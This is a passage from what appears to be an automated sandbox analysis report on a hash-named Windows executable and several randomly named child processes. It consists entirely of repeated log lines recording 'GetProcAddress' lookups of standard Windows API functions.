"GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00004880) "hA8Nu84.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00004156) "hA8Nu84.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00004156) "cp7GF84.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00004976) "cp7GF84.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00004976) "tb8sC54.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00007348) "tb8sC54.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00007348) "AY1yn84.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00005260) "AY1yn84.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005260) "1kw38Ju7.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter FreeSid (UID: 